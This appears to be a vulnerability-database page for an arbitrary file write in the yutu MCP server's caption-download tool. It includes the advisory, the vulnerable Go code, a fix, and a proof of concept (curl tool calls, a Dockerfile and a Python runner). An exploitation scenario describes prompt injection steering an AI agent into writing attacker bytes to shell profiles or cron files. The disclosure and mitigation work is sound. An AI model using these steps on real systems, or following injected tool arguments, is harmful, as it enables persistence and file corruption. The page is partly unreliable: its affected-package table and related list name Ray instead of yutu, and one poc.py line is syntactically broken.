The yutu MCP server — used to let AI agents manage YouTube captions — passes a caller-supplied file path straight into os.Create() without any validation, letting an attacker write arbitrary content to any file the yutu process can reach, completely bypassing the YUTU_ROOT sandbox every other file operation respects. This matters because the flaw sits in a tool exposed directly to AI agents: the vendor advisory explicitly notes it's exploitable via prompt injection into any agent pipeline that has caption-download registered, and the HTTP MCP server ships with authentication disabled by default, so no credentials are needed to reach it locally. CVSS 7.7 (High) reflects the high integrity and availability impact — an attacker can overwrite startup scripts, config files, or binaries to gain persistence, or corrupt logs/databases for denial of service; there's no EPSS score or known exploitation yet, and it isn't in CISA KEV. Patch to yutu 0.10.9-dev1 or later, and until then disable the caption-download tool or enable --auth on any HTTP-mode MCP deployment; detection teams should alert on unexpected file writes by the yutu process outside its configured YUTU_ROOT.
What is the risk?
High severity (CVSS 7.7, AV:L/AC:L/PR:N/UI:N/C:N/I:H/A:H) with no privileges or user interaction required. Exploitability is low-effort — a single MCP tool call with a crafted `file` parameter — but exposure is limited to environments running the yutu MCP server (typically HTTP mode with default no-auth) reachable by an attacker or a compromised/injected AI agent. No public exploit code, no Nuclei template, no EPSS data, and not in CISA KEV, so there's no evidence of in-the-wild exploitation yet, but the trivial PoC and default-insecure configuration make this a fast follow for opportunistic scanning once awareness spreads.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Ray | go | < 0.10.9-dev1 | 0.10.9-dev1 |
Do you use Ray? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
Upgrade to yutu >= 0.10.9-dev1, which confines the download path via pkg.Root.OpenFile instead of the unconfined os.Create(). If immediate patching isn't possible: (1) enable --auth on any yutu MCP HTTP server and restrict network reachability to trusted callers only; (2) disable or remove the caption-download tool from agent toolsets that don't strictly need it; (3) run the yutu process under a restricted service account with write access limited to YUTU_ROOT and no other sensitive paths; (4) monitor file-creation events by the yutu process for paths outside YUTU_ROOT (e.g., via auditd/EDR file-integrity rules) as a detection control.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-50158?
The yutu MCP server — used to let AI agents manage YouTube captions — passes a caller-supplied file path straight into os.Create() without any validation, letting an attacker write arbitrary content to any file the yutu process can reach, completely bypassing the YUTU_ROOT sandbox every other file operation respects. This matters because the flaw sits in a tool exposed directly to AI agents: the vendor advisory explicitly notes it's exploitable via prompt injection into any agent pipeline that has caption-download registered, and the HTTP MCP server ships with authentication disabled by default, so no credentials are needed to reach it locally. CVSS 7.7 (High) reflects the high integrity and availability impact — an attacker can overwrite startup scripts, config files, or binaries to gain persistence, or corrupt logs/databases for denial of service; there's no EPSS score or known exploitation yet, and it isn't in CISA KEV. Patch to yutu 0.10.9-dev1 or later, and until then disable the caption-download tool or enable --auth on any HTTP-mode MCP deployment; detection teams should alert on unexpected file writes by the yutu process outside its configured YUTU_ROOT.
Is CVE-2026-50158 actively exploited?
No confirmed active exploitation of CVE-2026-50158 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-50158?
Upgrade to yutu >= 0.10.9-dev1, which confines the download path via pkg.Root.OpenFile instead of the unconfined os.Create(). If immediate patching isn't possible: (1) enable --auth on any yutu MCP HTTP server and restrict network reachability to trusted callers only; (2) disable or remove the caption-download tool from agent toolsets that don't strictly need it; (3) run the yutu process under a restricted service account with write access limited to YUTU_ROOT and no other sensitive paths; (4) monitor file-creation events by the yutu process for paths outside YUTU_ROOT (e.g., via auditd/EDR file-integrity rules) as a detection control.
What systems are affected by CVE-2026-50158?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks.
What is the CVSS score for CVE-2026-50158?
CVE-2026-50158 has a CVSS v3.1 base score of 7.7 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.002 Poisoned AI Agent Tool AML.T0051.001 Indirect AML.T0053 AI Agent Tool Invocation AML.T0101 Data Destruction via AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
## Arbitrary File Write via MCP `caption-download` Tool ### Summary The `caption-download` MCP tool in yutu passes the caller-supplied `file` parameter directly to `os.Create()` at `pkg/caption/caption.go:272` without any path validation, canonicalization, or confinement to the `pkg.Root` boundary (`YUTU_ROOT`). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a **High** severity vulnerability (CVSS 7.7) with high integrity and availability impact. ### Details yutu uses `pkg.Root` (backed by Go 1.24's `os.OpenRoot`) to restrict all file I/O to the `YUTU_ROOT` directory. Every other caption file-write path honours this boundary: | Method | Sink | Confined? | |--------|------|-----------| | `Caption.Insert()` | `pkg.Root.Open(c.File)` (`caption.go:109`) | Yes | | `Caption.Update()` | `pkg.Root.Open(c.File)` (`caption.go:193`) | Yes | | `Caption.Download()` | `os.Create(c.File)` (`caption.go:272`) | **No** | `Caption.Download()` is the sole outlier. The attacker-controlled `file` field flows without restriction from the MCP tool input schema to a raw `os.Create()` call: 1. **Source** — `cmd/caption/download.go:32–41`: `downloadInSchema` declares `file` as a required `string` field in the MCP JSON input schema. 2. **Binding** — `cmd/caption/download.go:61–64`: `cobramcp.GenToolHandler` maps MCP input to `input.Download(writer)`. 3. **Sink** — `pkg/caption/caption.go:272`: `os.Create(c.File)` creates or truncates the file at the attacker-supplied path. 4. **Write** — `pkg/caption/caption.go:280`: `file.Write(body)` writes the downloaded caption bytes to that path. ```go // cmd/caption/download.go var downloadInSchema = &jsonschema.Schema{ Required: []string{"ids", "file"}, // line 34 // ... "file": {Type: "string", Description: fileUsage}, // line 40 } // cobramcp.GenToolHandler binds MCP → handler (line 61-64) cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error { return input.Download(writer) }) // pkg/caption/caption.go body, err := io.ReadAll(res.Body) // line 267 file, err := os.Create(c.File) // line 272 ← unconfined sink // ... _, err = file.Write(body) // line 280 ``` The `caption-download` tool is registered by default in `init()` at `cmd/caption/download.go:52`, and the HTTP MCP server starts with `--auth` defaulting to `false` (`cmd/mcp.go:42`), meaning no authentication is required for local HTTP callers. **Recommended fix:** ```diff --- a/pkg/caption/caption.go +++ b/pkg/caption/caption.go @@ - file, err := os.Create(c.File) + file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) if err != nil { return errors.Join(errDownloadCaption, err) } ``` ### PoC **Prerequisites:** - yutu `0.0.0-dev` / commit `351c99d` - Valid `YUTU_CREDENTIAL` and `YUTU_CACHE_TOKEN` available - yutu MCP server running in HTTP mode **Docker-based reproduction (no live credentials needed):** The self-contained PoC builds a binary that exercises `caption.Download()` directly inside a container, with `YUTU_ROOT=/tmp/yutu_safe_root` as the confinement boundary. ```bash # From the report workspace root: docker build --no-cache -t yutu-vuln001-poc \ -f vuln-001/Dockerfile \ reports/mcp_49_eat-pray-ai__yutu docker run --rm yutu-vuln001-poc ``` Expected output confirms: - `pkg.Root.Open("/tmp/poc-arbitrary-write.txt")` is correctly rejected with `path escapes from parent` (control). - `caption.Download()` with `file="/tmp/poc-arbitrary-write.txt"` succeeds and creates a 79-byte file **outside** `YUTU_ROOT` (exploit). **Live MCP server reproduction:** ```bash # Start the HTTP MCP server (no auth by default) yutu mcp --mode http --port 8216 # Initialise session curl -sD /tmp/yutu.headers \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ http://localhost:8216/mcp \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \ >/tmp/yutu.init SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r') # Exploit: write caption to arbitrary path # Replace CAPTION_ID with a caption id accessible by the configured token curl -s \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ ${SID:+-H "Mcp-Session-Id: $SID"} \ http://localhost:8216/mcp \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}' # Verify file was written outside YUTU_ROOT test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt ``` ### Impact This is an **Arbitrary File Write** vulnerability. Any principal that can invoke the `caption-download` MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (`--auth false`) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the `YUTU_ROOT` confinement boundary that all other file-write operations in yutu respect. **Potential consequences include:** - Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution. - Corrupting log files or database files to cause denial of service. - Writing web-accessible files in deployments where yutu runs alongside a web server. - Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the `file` parameter is fully attacker-controlled with no guardrails. Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose `caption-download` to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC Dockerfile # Build con: reports/mcp_49_eat-pray-ai__yutu/ # repo/ - the cloned yutu repository # vuln-001/ - this workspace (Dockerfile, poc_main.go) FROM golang:1.26 AS builder WORKDIR /build # Copy the yutu source tree (provides the vulnerable packages) COPY repo/ . # Inject PoC as a new command package (does not modify existing source) RUN mkdir -p cmd/poc_exploit COPY vuln-001/poc_main.go cmd/poc_exploit/main.go # Build the PoC binary (static, no CGO needed) RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/ # ── Runtime stage ────────────────────────────────────────────────────────── FROM debian:12-slim COPY --from=builder /poc /poc # YUTU_ROOT defines the pkg.Root confinement boundary. # The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root, # demonstrating the os.Create bypass. ENV YUTU_ROOT=/tmp/yutu_safe_root RUN mkdir -p /tmp/yutu_safe_root CMD ["/poc"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 PoC Runner Exploit: Arbitrary File Write via MCP caption-download (CWE-73) Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement Usage: python3 poc.py """ import os import subprocess import sys VULN_DIR = os.path.dirname(os.path.abspath(__file__)) CONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/ DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") IMAGE_NAME = "yutu-vuln001-poc" def run(cmd, check=False, **kwargs): print("$ " + " ".join(str(a) for a in cmd)) result = subprocess.run(cmd, =True, **kwargs) return result def main(): print("=" * 70) print("VULN-001: Arbitrary File Write via MCP caption-download") print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)") print("=" * 70) # ── Build ──────────────────────────────────────────────────────────────── build_cmd = [ "docker", "build", "--no-cache", "-t", IMAGE_NAME, "-f", DOCKERFILE, CONTEXT_DIR, ] print("\n[Step 1] Building Docker image ...") result = run(build_cmd, capture_output=False) if result.returncode != 0: print("\n[FAIL] Docker build failed.", file=sys.stderr) sys.exit(1) # ── Run ────────────────────────────────────────────────────────────────── run_cmd = ["docker", "run", "--rm", IMAGE_NAME] print("\n[Step 2] Running PoC container ...") result = run(run_cmd, capture_output=True) stdout = result.stdout or "" stderr = result.stderr or "" print(stdout, end="") if stderr: print(stderr, end="", file=sys.stderr) # ── Verdict ────────────────────────────────────────────────────────────── passed = ( result.returncode == 0 and "VULNERABILITY CONFIRMED" in stdout and "PASS" in stdout and "os.Create bypasses pkg.Root" in stdout ) if passed: print("\n[RESULT] PASS – vulnerability dynamically reproduced.") else: print(f"\n[RESULT] FAIL – container exit code {result.returncode}.", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main() ```
Exploitation Scenario
An attacker gains the ability to influence input reaching an AI agent that has yutu's caption-download tool registered — either directly via an unauthenticated local HTTP MCP session, or indirectly by embedding malicious instructions in content the agent later processes (indirect prompt injection). The agent, following the injected instruction, invokes caption-download with a `file` parameter pointing outside YUTU_ROOT, e.g. a shell profile, a cron file, or a web-served static asset. yutu writes the downloaded caption bytes to that path via the unconfined os.Create() call, giving the attacker a foothold for persistence, code execution on next shell login, or defacement/corruption of files the yutu process can reach — all without needing credentials if the MCP server is running with its default --auth false setting.
Weaknesses (CWE)
CWE-73 — External Control of File Name or Path: The product allows user input to control or influence paths or file names that are used in filesystem operations.
- [Architecture and Design] When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
- [Architecture and Design, Operation] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2023-6019 9.8 Ray: unauthenticated RCE via dashboard command injection
Same package: ray CVE-2023-48022 9.8 Ray: unauthenticated RCE via job submission API
Same package: ray CVE-2023-6021 9.3 Ray: LFI allows unauthenticated file read
Same package: ray CVE-2023-6020 9.3 Ray: unauthenticated LFI exposes entire filesystem
Same package: ray CVE-2026-57516 8.8 Ray: RCE via pickle/torch deserialization in WebDataset
Same package: ray